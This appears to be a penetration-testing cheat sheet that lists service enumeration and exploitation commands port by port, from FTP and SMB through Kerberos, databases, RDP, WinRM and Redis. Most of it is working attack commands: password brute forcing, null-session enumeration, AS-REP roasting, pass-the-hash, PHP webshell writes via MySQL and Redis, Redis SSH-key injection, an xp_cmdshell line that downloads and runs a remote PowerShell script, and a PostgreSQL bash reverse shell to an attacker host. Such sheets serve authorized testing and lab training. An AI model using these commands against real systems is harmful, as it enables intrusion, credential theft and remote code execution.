FTP · Port 21
Check anonymous access first · this works more often than you'd think
ftp <TARGET-IP> # login: anonymous / anonymous or anonymous / (blank)
ftp <TARGET-IP> # try: anonymous / email@email.com
Nmap FTP scripts
nmap --script ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor -p 21 <TARGET-IP>
Brute force (after you have a username)
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ftp://<TARGET-IP>
Recursive download everything from FTP
wget -m --no-passive ftp://anonymous:anonymous@<TARGET-IP>/
Anonymous login, writable directories, interesting files (configs, backups, credentials), software version for CVE lookup.
Anonymous access with sensitive files → or vsftpd 2.3.4 backdoor (smiley face exploit) → Metasploit exploit/unix/ftp/vsftpd_234_backdoor
SSH · Port 22
Banner grab · version matters for CVE research
nc -nv <TARGET-IP> 22
ssh -V # local version check
Check for weak algorithms (older boxes)
nmap --script ssh2-enum-algos -p 22 <TARGET-IP>
Username enumeration (OpenSSH < 7.7)
python3 /usr/share/exploitdb/exploits/linux/remote/45939.py <TARGET-IP> <USERNAME>
Brute force (last resort · noisy)
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<TARGET-IP>
hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/rockyou.txt ssh://<TARGET-IP>
Try found credentials or default creds
ssh <USER>@<TARGET-IP>
ssh -i id_rsa <USER>@<TARGET-IP> # if you found a private key
Found creds/key from another service → SSH in. Rarely the primary exploit vector unless ancient OpenSSH version.
SMTP · Port 25 / 587
Enumerate valid users via VRFY/EXPN
nc -nv <TARGET-IP> 25
VRFY root
VRFY admin
EXPN postmaster
Automated user enum
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t <TARGET-IP>
smtp-user-enum -M RCPT -U /usr/share/wordlists/metasploit/unix_users.txt -t <TARGET-IP>
Nmap SMTP scripts
nmap --script smtp-enum-users,smtp-commands,smtp-open-relay -p 25 <TARGET-IP>
Username enumeration → password spray those usernames on other services (SSH, web login, SMB).
DNS · Port 53
Zone transfer · gold mine if it works
dig axfr <DOMAIN> @<TARGET-IP>
host -l <DOMAIN> <TARGET-IP>
Reverse lookup
dig -x <TARGET-IP> @<TARGET-IP>
Standard queries
dig any <DOMAIN> @<TARGET-IP>
dig ns <DOMAIN> @<TARGET-IP>
dig mx <DOMAIN> @<TARGET-IP>
Subdomain brute force
gobuster dns -d <DOMAIN> -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r <TARGET-IP>
Zone transfer reveals internal hostnames and IPs → more targets to enumerate.
HTTP/HTTPS · Port 80 / 443 / 8080 / 8443
→ See Web Application PT Methodology for the full deep dive.
Quick checks while reading full methodology
whatweb http://<TARGET-IP>
nikto -h http://<TARGET-IP> -o scans/nikto.txt
curl -IL http://<TARGET-IP>
Directory brute force · start immediately
gobuster dir -u http://<TARGET-IP> -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,bak -o scans/gobuster.txt
Check robots.txt and sitemap
curl http://<TARGET-IP>/robots.txt
curl http://<TARGET-IP>/sitemap.xml
SMB · Port 139 / 445
Null session and share enumeration
smbclient -L //<TARGET-IP> -N
smbclient -L //<TARGET-IP> -U ""
enum4linux -a <TARGET-IP> | tee scans/enum4linux.txt
enum4linux-ng -A <TARGET-IP> | tee scans/enum4linux-ng.txt
CrackMapExec · fast SMB recon
crackmapexec smb <TARGET-IP>
crackmapexec smb <TARGET-IP> -u '' -p '' --shares
crackmapexec smb <TARGET-IP> -u 'guest' -p '' --shares
Nmap SMB scripts
nmap --script smb-enum-shares,smb-enum-users,smb-os-discovery,smb-security-mode -p 139,445 <TARGET-IP>
nmap --script smb-vuln-ms17-010 -p 445 <TARGET-IP> # EternalBlue check
Connect to a share
smbclient //<TARGET-IP>/sharename -N
smbclient //<TARGET-IP>/sharename -U username
Mount share
mount -t cifs //<TARGET-IP>/sharename /mnt/smb -o user=<USER>,password=<PASS>
Recursive download
smbclient //<TARGET-IP>/sharename -N -c "recurse; prompt; mget *"
Anonymous/null session → find files with creds → use creds elsewhere. Or: MS17-010 (EternalBlue) → SYSTEM shell via Metasploit or manual.
RPC / MSRPC · Port 135 (rpcbind 111)
Windows MSRPC: dump the endpoint mapper
impacket-rpcdump <TARGET-IP>
Null-session rpcclient: users, groups, and password policy with no creds
rpcclient -U "" -N <TARGET-IP>
Inside rpcclient: enumdomusers ; queryuser 0x1f4 ; enumdomgroups ; getdompwinfo ; lsaenumsid
Linux rpcbind (111): list registered RPC services
rpcinfo <TARGET-IP>
Null-session rpcclient dumps the user list and password policy → build a spray list. On Linux, rpcinfo exposes NFS/NIS to pivot.
LDAP · Port 389 / 636
Anonymous bind: discover the base DN, then dump the directory tree
ldapsearch -x -H ldap://<TARGET-IP> -s base namingcontexts
ldapsearch -x -H ldap://<TARGET-IP> -b "<BASE-DN>"
Users and groups (anonymous, or add -D/-w for authenticated)
ldapsearch -x -H ldap://<TARGET-IP> -b "<BASE-DN>" "(objectClass=user)" sAMAccountName
ldapsearch -x -H ldap://<TARGET-IP> -D "<USER>@<DOMAIN>" -w "<PASS>" -b "<BASE-DN>"
nmap LDAP scripts
nmap -p 389 --script ldap-rootdse,ldap-search <TARGET-IP>
With creds: dump the whole domain to browsable HTML
ldapdomaindump -u "<DOMAIN>\<USER>" -p "<PASS>" ldap://<TARGET-IP>
Anonymous bind or any domain credential → full user, group, and computer list plus description fields (passwords hide here) → feeds Kerberoasting and BloodHound (see the AD Attack Path).
Kerberos · Port 88
Username enumeration via Kerberos pre-auth: no creds, no lockout, very quiet
kerbrute userenum -d <DOMAIN> --dc <DC-IP> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
AS-REP roast users that do not require pre-auth (from a username list)
impacket-GetNPUsers <DOMAIN>/ -dc-ip <DC-IP> -usersfile users.txt -no-pass
Validate a credential and request a TGT (seeds pass-the-ticket)
impacket-getTGT <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP>
Kerbrute confirms valid usernames off a wordlist with zero lockout risk → AS-REP roast the ones without pre-auth → crack offline. The classic unauthenticated way into AD (see the AD Attack Path).
SNMP · Port 161 (UDP)
Community string brute force
onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt <TARGET-IP>
Full SNMP walk (once you have community string · default is 'public')
snmpwalk -c public -v1 <TARGET-IP>
snmpwalk -c public -v2c <TARGET-IP>
Useful OIDs to target specifically
snmpwalk -c public -v1 <TARGET-IP> 1.3.6.1.4.1.77.1.2.25 # Users
snmpwalk -c public -v1 <TARGET-IP> 1.3.6.1.2.1.25.4.2.1.2 # Running processes
snmpwalk -c public -v1 <TARGET-IP> 1.3.6.1.2.1.25.6.3.1.2 # Installed software
snmpwalk -c public -v1 <TARGET-IP> 1.3.6.1.2.1.6.13.1.3 # Open TCP ports
snmp-check for formatted output
snmp-check <TARGET-IP> -c public
Community string = 'public' → user list → password spray. Or: full MIB walk reveals credentials in process list or config.
NFS · Port 111 / 2049
Show available NFS shares
showmount -e <TARGET-IP>
nmap -sV --script=nfs-showmount <TARGET-IP>
Mount a share
mkdir /mnt/nfs
mount -t nfs <TARGET-IP>:/share /mnt/nfs -nolock
ls -la /mnt/nfs
Check for no_root_squash (game over: exploit covered in Linux PrivEsc)
cat /etc/exports # on target if you have shell access
World-readable share with sensitive files → or no_root_squash → copy SUID bash → root shell.
MySQL · Port 3306
Connect (try root with no password)
mysql -h <TARGET-IP> -u root -p
mysql -h <TARGET-IP> -u root --password=""
Nmap MySQL scripts
nmap --script mysql-empty-password,mysql-info,mysql-databases -p 3306 <TARGET-IP>
Once in · key commands
show databases;
use <db>;
show tables;
select * from users;
select user,password from mysql.user; # Password hashes
File read/write (if FILE privilege granted)
SELECT LOAD_FILE('/etc/passwd');SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
MSSQL · Port 1433
Connect with impacket
impacket-mssqlclient <USER>:<PASS>@<TARGET-IP>
impacket-mssqlclient <DOMAIN>/<USER>:<PASS>@<TARGET-IP> -windows-auth
Nmap MSSQL scripts
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-config -p 1433 <TARGET-IP>
CrackMapExec
crackmapexec mssql <TARGET-IP> -u <USER> -p <PASS>
Enable xp_cmdshell for RCE (if sa user or sysadmin role)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(\"http://<YOUR-IP>/shell.ps1\")"';
PostgreSQL · Port 5432
Connect: try default postgres:postgres or a blank password
psql -h <TARGET-IP> -U postgres
PGPASSWORD=<PASS> psql -h <TARGET-IP> -U <USER> -l
nmap PostgreSQL scripts
nmap -p 5432 --script pgsql-brute <TARGET-IP>
RCE via COPY ... TO PROGRAM (needs superuser, PostgreSQL 9.3+)
Inside psql: COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/<YOUR-IP>/<LPORT> 0>&1"';
Default postgres:postgres → if the role is superuser, COPY ... TO PROGRAM runs OS commands → reverse shell.
RDP · Port 3389
Check if RDP is actually running
nmap --script rdp-enum-encryption,rdp-vuln-ms12-020 -p 3389 <TARGET-IP>
Brute force (use sparingly · account lockout risk)
hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://<TARGET-IP>
crowbar -b rdp -s <TARGET-IP>/32 -u <USER> -C /usr/share/wordlists/rockyou.txt
Connect
xfreerdp /u:<USER> /p:<PASS> /v:<TARGET-IP>
xfreerdp /u:<USER> /p:<PASS> /v:<TARGET-IP> /cert:ignore /dynamic-resolution
Pass-the-Hash via RDP (requires restricted admin mode enabled)
xfreerdp /u:<USER> /pth:<NTLM-HASH> /v:<TARGET-IP>
WinRM · Port 5985 / 5986
Check if WinRM is open and accessible
crackmapexec winrm <TARGET-IP> -u <USER> -p <PASS>
Connect with evil-winrm
evil-winrm -i <TARGET-IP> -u <USER> -p <PASS>
evil-winrm -i <TARGET-IP> -u <USER> -H <NTLM-HASH> # Pass-the-Hash
Upload/download files within evil-winrm session
upload /path/to/local/file.exe
download C:\path\to\file.txt
Redis · Port 6379
Connect (often no auth)
redis-cli -h <TARGET-IP>
redis-cli -h <TARGET-IP> -a <PASSWORD>
Info dump
info
config get *
keys *
RCE via SSH key injection (if /root/.ssh is writable)
config set dir /root/.ssh
config set dbfilename authorized_keys
set pwned "\n\n\nssh-rsa AAAA...YOUR-PUBLIC-KEY...\n\n\n"
save
RCE via webshell (if web root is known and writable)
config set dir /var/www/html
config set dbfilename shell.php
set test "<?php system($_GET['cmd']); ?>"
save